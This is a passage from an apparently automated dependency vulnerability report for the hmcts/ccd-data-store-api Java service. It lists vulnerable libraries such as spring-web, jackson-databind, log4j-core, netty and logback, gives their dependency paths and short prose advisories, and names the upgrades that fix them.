  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the If-Match or If-None-Match request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.

Workaround

Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-web to version 5.3.38, 6.0.23, 6.1.12 or higher.

References

medium severity
new

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the POJOPropertiesCollector._renameProperties() and BeanDeserializerFactory.addBeanProps() methods, which rename rather than drop a property whose getter carries @JsonProperty and whose setter carries @JsonIgnore, leaving the private backing field writable. An attacker can write a field that was meant to be unsettable, enabling property tampering and mass assignment, by supplying the renamed JSON key during deserialization, because the factory observes hasField()==true and builds a writable FieldProperty for the backing field. Exploitation requires MapperFeature.INFER_PROPERTY_MUTATORS to be enabled, which is the default, and a target type that pairs a renamed getter with an ignored setter, and the impact is limited to writing existing fields with no path to remote code execution.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity
new

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Alternative Remediation

If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:

  • Disable/remove JDBCAppender
  • If JDBCAppender is used, make sure that it is not configured to use any protocol other than Java

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Denial of Service (DoS). When the post request body data received by the server is greater than 16k, netty will use DiskAttribute, which will create a temporary file, and use deleteOnExit() when the file needs to be deleted, which results in DeleteOnExitHook.files continually growing and leading to a denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.53.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty currently just skips control characters when these are present at the beginning or end of the header name. It should instead fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore, and therefore does not do the validation itself.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.71.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Note:

io.netty:netty is deprecated. Users should update to io.netty:netty-all

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.42.Final or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Denial of Service (DoS) such that if the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which leads the server to buffer up to 16MB of data per connection.

The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.

Note:

An attacker can craft a packet that makes the SslClientHelloHandler to:

  1. Allocate a 16MB ByteBuf.

  2. Not fail decode method in buffer.

  3. Get out of the loop without an exception.

The combination of this without the use of a timeout makes it easy to connect to a TCP server and allocate 16MB of heap memory per connection.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-handler to version 4.1.94.Final or higher.

References

medium severity
new

Deserialization of Untrusted Data

  • Vulnerable module: ch.qos.logback:logback-classic
  • Introduced through: ch.qos.logback:logback-classic@1.5.27, com.microsoft.azure:applicationinsights-logging-logback@2.6.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.33.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in HardenedObjectInputStream, whose resolveClass allowlist admitted any class whose name starts with java.lang or java.util rather than matching specific authorized classes. An attacker can instantiate dangerous classes such as java.lang.ProcessBuilder during deserialization, reaching remote code execution through a gadget chain, by delivering a malicious serialized object to a logback component that deserializes it, such as its socket receiver for serialized logging events (SocketNode). Exploitation requires the application to deserialize attacker-controlled serialized data through logback, in practice via its socket-based receiver, together with a usable gadget class on the classpath.

Workaround

This vulnerability can be avoided by not exposing logback's socket-based serialized receivers, such as SocketReceiver and ServerSocketReceiver, to untrusted networks, which removes the path by which attacker-controlled serialized objects reach the deserialization filter.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade ch.qos.logback:logback-classic to version 1.5.33 or higher.

References

medium severity
new

Deserialization of Untrusted Data

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-core@1.5.27, ch.qos.logback:logback-classic@1.5.27 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to ch.qos.logback:logback-core@1.5.33.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.33.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
